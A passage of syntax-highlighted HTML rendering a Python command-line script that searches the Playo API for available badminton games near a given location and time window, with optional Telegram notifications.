<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--end-time</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">20:00</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Desired end time (24-hour format HH:MM)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--timezone</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Your timezone</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--verbose</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> is_flag</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Show detailed information including exact UTC/IST times</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--include-full</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> is_flag</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Include games that are full</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--telegram</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> is_flag</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Send results to Telegram</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--telegram-token</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> envvar</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">TELEGRAM_BOT_TOKEN</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Telegram Bot Token (or set TELEGRAM_BOT_TOKEN env var)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--telegram-chat-id</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> envvar</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">TELEGRAM_CHAT_ID</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Telegram Chat ID (or set TELEGRAM_CHAT_ID env var)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> find_games</span><span>(</span><span>lat</span><span>,</span><span> lng</span><span>,</span><span> radius</span><span>,</span><span> sport</span><span>,</span><span> start_time</span><span>,</span><span> end_time</span><span>,</span><span> timezone</span><span>,</span><span> verbose</span><span>,</span><span> include_full</span><span>,</span><span> telegram</span><span>,</span><span> telegram_token</span><span>,</span><span> telegram_chat_id</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Find available badminton games on Playo matching your criteria.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Get today&#39;s date in the specified timezone</span></span>
<span class="giallo-l"><span>    local_tz</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> pytz</span><span>.</span><span>timezone</span><span>(</span><span>timezone</span><span>)</span></span>
<span class="giallo-l"><span>    now</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> datetime</span><span>.</span><span>datetime</span><span>.</span><span>now</span><span>(</span><span>local_tz</span><span>)</span></span>
<span class="giallo-l"><span>    today_date</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> now</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">%Y-%m-</span><span style="color: light-dark(#005CC5, #F47067);">%d</span><span style="color: light-dark(#032F62, #96D0FF);">T%H:%M:%S.</span><span style="color: light-dark(#005CC5, #F47067);">%f</span><span style="color: light-dark(#032F62, #96D0FF);">Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Parse desired time window</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    try</span><span>:</span></span>
<span class="giallo-l"><span>        desired_start</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> datetime</span><span>.</span><span>datetime</span><span>.</span><span>strptime</span><span>(</span><span>start_time</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">%H:%M</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>.</span><span>time</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>        desired_end</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> datetime</span><span>.</span><span>datetime</span><span>.</span><span>strptime</span><span>(</span><span>end_time</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">%H:%M</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>.</span><span>time</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    except</span><span style="color: light-dark(#005CC5, #6CB6FF);"> ValueError</span><span>:</span></span>
<span class="giallo-l"><span>        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error:[/bold red] Invalid time format. Please use HH:MM (24-hour format).</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold green]Searching for badminton games around your location...[/bold green]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>    console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Looking for games between [bold]</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>start_time</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">[/bold] and [bold]</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>end_time</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">[/bold] IST today</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span> verbose</span><span>:</span></span>
<span class="giallo-l"><span>        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[dim]Search parameters: lat=</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>lat</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">, lng=</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>lng</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">, radius=</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>radius</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">km[/dim]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[dim]Current time in </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>timezone</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>now</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">%Y-%m-</span><span style="color: light-dark(#005CC5, #F47067);">%d</span><span style="color: light-dark(#032F62, #96D0FF);"> %H:%M:%S</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">[/dim]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Prepare API request</span></span>
<span class="giallo-l"><span>    url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://api.playo.io/activity-public/list/location</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    payload</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">lat</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> lat</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">lng</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> lng</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cityRadius</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> radius</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gameTimeActivities</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> False</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">page</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">lastId</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">sportId</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> [</span><span>sport</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">booking</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> False</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">date</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> [</span><span>today_date</span><span>]</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    headers</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Content-Type</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">application/json</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">User-Agent</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    try</span><span>:</span></span>
<span class="giallo-l"><span>        response</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> requests</span><span>.</span><span>post</span><span>(</span><span>url</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> headers</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>headers</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> json</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>payload</span><span>)</span></span>
<span class="giallo-l"><span>        response</span><span>.</span><span>raise_for_status</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> response</span><span>.</span><span>json</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span> data</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">requestStatus</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span style="color: light-dark(#D73A49, #F47067);"> or</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">data</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> data</span><span>:</span></span>
<span class="giallo-l"><span>            console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error:[/bold red] Failed to get valid response from Playo API</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            return</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> Process activities</span></span>
<span class="giallo-l"><span>        activities</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> data</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">data</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">activities</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> [</span><span>]</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span> activities</span><span>:</span></span>
<span class="giallo-l"><span>            console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[yellow]No badminton activities found for today[/yellow]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            return</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> Filter activities based on criteria</span></span>
<span class="giallo-l"><span>        matching_games</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        for</span><span> activity</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> activities</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Convert UTC times to local timezone</span></span>
<span class="giallo-l"><span>            start_time_utc</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> parser</span><span>.</span><span>parse</span><span>(</span><span>activity</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">startTime</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>)</span></span>
<span class="giallo-l"><span>            end_time_utc</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> parser</span><span>.</span><span>parse</span><span>(</span><span>activity</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">endTime</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>            start_time_local</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> start_time_utc</span><span>.</span><span>astimezone</span><span>(</span><span>local_tz</span><span>)</span></span>
<span class="giallo-l"><span>            end_time_local</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> end_time_utc</span><span>.</span><span>astimezone</span><span>(</span><span>local_tz</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Print all times in debug mode</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> console.print(f&quot;DEBUG: {activity.get(&#39;location&#39;, &#39;Unknown&#39;)} - Start: {start_time_local.strftime(&#39;%H:%M&#39;)} IST (UTC: {start_time_utc.strftime(&#39;%H:%M&#39;)})&quot;)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Convert time objects correctly for comparison</span></span>
<span class="giallo-l"><span>            start_hour</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> start_time_local</span><span>.</span><span>hour</span></span>
<span class="giallo-l"><span>            start_minute</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> start_time_local</span><span>.</span><span>minute</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Convert desired times to hours and minutes for easier comparison</span></span>
<span class="giallo-l"><span>            desired_start_hour</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> desired_start</span><span>.</span><span>hour</span></span>
<span class="giallo-l"><span>            desired_start_minute</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> desired_start</span><span>.</span><span>minute</span></span>
<span class="giallo-l"><span>            desired_end_hour</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> desired_end</span><span>.</span><span>hour</span></span>
<span class="giallo-l"><span>            desired_end_minute</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> desired_end</span><span>.</span><span>minute</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Check if this game starts at 7PM (19:00) and ends at 8PM (20:00)</span></span>
<span class="giallo-l"><span>            is_time_match</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> False</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Get duration in minutes</span></span>
<span class="giallo-l"><span>            duration_minutes</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> (</span><span>(</span><span>end_time_local</span><span>.</span><span>hour</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 60</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> end_time_local</span><span>.</span><span>minute</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> -</span></span>
<span class="giallo-l"><span>                               (</span><span>start_time_local</span><span>.</span><span>hour</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 60</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> start_time_local</span><span>.</span><span>minute</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Check if start time is 7PM (with small tolerance)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            if</span><span> (</span><span>start_hour</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span> desired_start_hour</span><span style="color: light-dark(#D73A49, #F47067);"> and</span></span>
<span class="giallo-l"><span>                start_minute</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;=</span><span> desired_start_minute</span><span style="color: light-dark(#D73A49, #F47067);"> and</span></span>
<span class="giallo-l"><span>                start_minute</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span> desired_start_minute</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span>)</span><span>:</span><span style="color: light-dark(#6A737D, #768390);">  #</span><span style="color: light-dark(#6A737D, #768390);"> Allow a small window of 10 minutes</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">                #</span><span style="color: light-dark(#6A737D, #768390);"> Check if duration is approximately 1 hour (between 50-70 minutes)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                if</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 50</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;=</span><span> duration_minutes</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 70</span><span>:</span></span>
<span class="giallo-l"><span>                    is_time_match</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> True</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Check if there are available slots</span></span>
<span class="giallo-l"><span>            is_available</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                not</span><span> activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">full</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> True</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> and</span></span>
<span class="giallo-l"><span>                (</span><span>activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">maxPlayers</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span style="color: light-dark(#D73A49, #F47067);"> or</span></span>
